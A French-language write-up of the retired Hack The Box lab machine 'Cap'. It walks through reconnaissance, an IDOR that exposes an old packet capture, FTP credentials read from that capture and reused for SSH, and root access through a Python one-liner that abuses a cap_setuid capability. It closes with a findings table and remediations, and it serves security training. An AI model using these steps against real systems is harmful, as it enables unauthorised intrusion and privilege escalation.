Linux Easy
Cap : IDOR sur un pcap, puis capability Python vers root
Un dashboard réseau expose ses captures par ID sans contrôle d'accès : un pcap plus ancien révèle des identifiants FTP, réutilisés en SSH, puis root via une capability Linux sur Python.
Box retirée par Hack The Box. Write-up publié dans le respect des règles de la plateforme, flags masqués.
TL;DR
- Un dashboard web (gunicorn) génère des captures réseau de 5 secondes, consultables par ID (
/data/<id>). - L'ID n'est pas vérifié : en remontant à
/data/0, on récupère le tout premier pcap de la machine, pas le sien. - Ce pcap contient une authentification FTP en clair : identifiants de
nathan. - Ces identifiants sont réutilisés en SSH : accès utilisateur direct.
- Une capability Linux (
cap_setuid) posée sur/usr/bin/python3.8permet de passer root en une ligne.
Reconnaissance
nmap -sVC -T4 -p- 10.129.77.247PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http gunicorn
|_http-title: Security Dashboard
|_http-server-header: gunicornTrois services. Le port 80 tourne derrière gunicorn et affiche un "Security Dashboard" : une application Python custom, pas un CMS connu. C'est le point d'entrée le plus probable, la logique applicative prime ici sur les versions de service.
Énumération
FTP anonyme (piste écartée)
ftp anonymous@10.129.77.247Échec, le login anonyme n'est pas autorisé. Service mis de côté pour la suite.
Scan de vulnérabilités (bruit, pas de signal)
nuclei -u http://10.129.77.247/[CVE-2023-48795] [javascript] [medium] 10.129.77.247:22 ["Vulnerable to Terrapin"]
[old-copyright] [http] [info] http://10.129.77.247/ ["Copyright 2021"]
[http-missing-security-headers:*] [http] [info] ...
[gunicorn-detect] [http] [info] http://10.129.77.247/ ["gunicorn"]Rien d'exploitable : Terrapin est un défaut de négociation SSH sans exploit pratique ici, et le reste n'est que des headers manquants.
Fuzzing de répertoires
ffuf -u "http://10.129.77.247/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-e .bat,.cmd -fc 404 -t 40 -acdata [Status: 302, Size: 208, Words: 21, Lines: 4, Duration: 21ms]
ip [Status: 200, Size: 17457, Words: 7275, Lines: 355, Duration: 104ms]
capture [Status: 302, Size: 220, Words: 21, Lines: 4, Duration: 5235ms]Trois routes intéressantes :
/ip: page d'info réseau./capture: réponse lente (plus de 5 secondes), cohérent avec une capture réseau déclenchée à la volée./data: redirige, probable listing des captures existantes.
Le dashboard
En parcourant le site, la fonctionnalité centrale est un "Security snapshot : 5 second PCAP + analysis". Chaque capture est accessible via une URL numérotée. En naviguant normalement, on se retrouve sur /data/2, le numéro correspondant à la capture générée pour la session en cours.
Foothold
IDOR sur l'identifiant de capture
Rien n'indique que /data/<id> vérifie que l'ID appartient à la session courante. En remontant manuellement à /data/0 :
curl -s http://10.129.77.247/data/0 -o 0.pcapLe téléchargement du pcap numéro 0 fonctionne sans restriction : c'est la toute première capture faite sur la machine, probablement lors d'une opération légitime de l'administrateur, mais accessible à n'importe quel visiteur du dashboard.
Identifiants dans le pcap
Ouverture dans Wireshark avec le filtre ftp :

USER nathan
PASS Buck3tH4TF0RM3!
230 Login successful.Le pcap contient une session FTP en clair avec les identifiants complets de l'utilisateur nathan.
Accès utilisateur
ssh nathan@10.129.77.247Les identifiants trouvés dans le pcap FTP fonctionnent directement en SSH, réutilisation de mot de passe entre les deux services.
Élévation vers root
Pistes classiques écartées
sudo -lSorry, user nathan may not run sudo on cap.find / -perm -4000 -type f 2>/dev/nullListe de binaires SUID standard d'une installation Ubuntu (y compris les doublons dans les snaps core18). Rien d'exploitable, pkexec est présent mais ce n'est pas le vecteur ici.
La capability Python
getcap -r / 2>/dev/null/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eipcap_setuid+eip sur l'interpréteur Python signifie que ce binaire peut lui-même changer son UID effectif, indépendamment des droits sudo ou des bits SUID classiques. Exploitation directe :
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'root@cap:~# cat /root/root.txtFindings
| # | Constat | Sévérité (CVSS v4) | Remédiation |
|---|---|---|---|
| F1 | IDOR sur /data/<id> : aucune vérification que la capture demandée appartient à la session de l'utilisateur | Élevée | Lier chaque capture à l'identité de session côté serveur, refuser l'accès aux ID hors scope |
| F2 | Capture réseau historique contenant des identifiants FTP en clair, exposée via l'IDOR | Élevée | Ne pas conserver de captures contenant des secrets en clair accessibles depuis l'application ; chiffrer le transport FTP (FTPS/SFTP) |
| F3 | Mot de passe nathan réutilisé entre FTP et SSH | Moyenne | Politique de mots de passe uniques par service |
| F4 | Capability cap_setuid positionnée sur l'interpréteur Python système, équivalent à un accès root direct pour quiconque peut l'exécuter | Critique | Retirer la capability (setcap -r /usr/bin/python3.8), n'accorder des capabilities qu'à des binaires dédiés et minimaux |
Leçons apprises
- Un dashboard qui numérote ses ressources par ID incrémental doit systématiquement être testé en descendant les ID, pas seulement en restant sur sa propre ressource.
getcap -r / 2>/dev/nullest un réflexe post-foothold aussi important quefind / -perm -4000: une capability mal posée sur un interpréteur (Python, Perl, Node) donne souvent un accès root plus direct qu'un GTFOBins classique.- FTP en clair reste une source fiable de credentials à chercher dans tout pcap récupéré, et ces identifiants valent la peine d'être rejoués sur les autres services exposés (SSH ici).